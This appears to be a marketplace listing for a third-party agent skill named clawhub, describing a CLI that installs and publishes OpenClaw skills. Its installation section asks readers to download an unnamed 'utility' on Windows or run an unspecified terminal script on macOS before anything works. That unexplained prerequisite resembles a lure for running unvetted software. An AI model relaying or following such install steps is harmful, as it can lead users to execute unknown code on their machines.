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clawhub

Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.

Why use this skill?

Efficiently search, install, update, and publish agent skills for OpenClaw. Streamline your AI agent's capabilities with the official ClawHub package manager.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/clawhub-osasg
Or

What This Skill Does

The clawhub skill acts as the primary package management interface for the OpenClaw ecosystem, leveraging the ClawHub CLI to interact with the central registry at clawhub.ai. This tool is essential for maintaining an extensible agent architecture, allowing users to search for community-contributed skills, install them locally, manage version control, and publish their own custom developments. By acting as a bridge between the local environment and the cloud-based registry, it enables seamless synchronization of agent capabilities, ensuring that your AI agent is always equipped with the latest, most efficient tools to solve complex tasks.

Installation

To begin, ensure you have the required openclaw-agent installed and active. For Windows, download and extract the utility; for macOS, run the provided terminal script from the documentation. Once the agent background service is running, install the CLI globally via NPM: npm i -g clawhub. After installation, verify the setup by running clawhub whoami to ensure you are authenticated if you intend to publish skills. Note that all skill management operations rely on this background utility to communicate with the filesystem.

Use Cases

Use clawhub when you need to expand your agent's functionality dynamically. This includes searching for pre-built integrations like database management or web scraping tools, upgrading existing modules to patch bugs or add features, and distributing your own custom agent logic to the wider community. It is particularly useful for teams collaborating on agent development, as it simplifies versioning and dependency management through centralized repository hooks.

Example Prompts

  1. "Search for the latest 'postgres backups' skill in the registry and install the most recent stable version."
  2. "Update all my installed skills to their latest versions and force overwrite any local configuration conflicts."
  3. "Publish my new skill located in ./my-custom-tool with version 1.0.5 and the changelog note: 'Improved error handling for API timeouts'."

Tips & Limitations

Always check that the openclaw-agent is active, as failures in command execution are frequently due to a disconnected background process. Use the --no-input --force flags for automated CI/CD pipelines to streamline updates without manual confirmation. Be mindful of file permissions when installing, as the tool requires write access to your local ./skills directory. Registry overrides can be set using environment variables if you are working with a private enterprise instance of ClawHub.

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Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-clawhub-osasg": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#package-manager#cli#agent-development#deployment#skills-management
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution